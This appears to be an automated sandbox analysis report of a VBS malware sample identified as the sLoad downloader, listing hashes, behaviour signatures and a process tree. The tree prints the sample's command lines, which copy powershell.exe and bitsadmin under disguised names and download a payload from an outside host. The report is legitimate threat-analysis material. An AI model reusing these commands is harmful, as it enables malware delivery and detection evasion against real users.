Analysis

  • max time kernel
    143s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220310-en
  • submitted
    28/03/2022, 01:21

General

  • Target
    c069b74525aa61709da74c75a8687ad61c8556e4c8bcd0c0a8010c25a9fe6e52.vbs
  • Size 6KB
  • Sample220328-bqys9afec6
  • SHA256 c069b74525aa61709da74c75a8687ad61c8556e4c8bcd0c0a8010c25a9fe6e52
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c069b74525aa61709da74c75a8687ad61c8556e4c8bcd0c0a8010c25a9fe6e52.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zoZjp.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KFJYToh*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1392
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zoZjp.exe
        3⤵
          PID:4008
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\KFJYToh*.exe
          3⤵
            PID:624
        • C:\ProgramData\KFJYTohin.exe
          "C:\ProgramData\KFJYTohin.exe" /transfer NEcBQb /download https://fhivelifestyle.online/lidepato/BRGDRD68M16L682M/uk.css C:\Users\Admin\AppData\Roaming\uk.css
          2⤵
          • Executes dropped EXE
          PID:1044

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            KFJYTohin.exe

            • Path C:\ProgramData\KFJYTohin.exe
            • Size 182KB
            • SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
            • MD5 SHA1 SHA512 SSDEEP

            KFJYTohin.exe

            • Path C:\ProgramData\KFJYTohin.exe
            • Size 182KB
            • SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
            • MD5 SHA1 SHA512 SSDEEP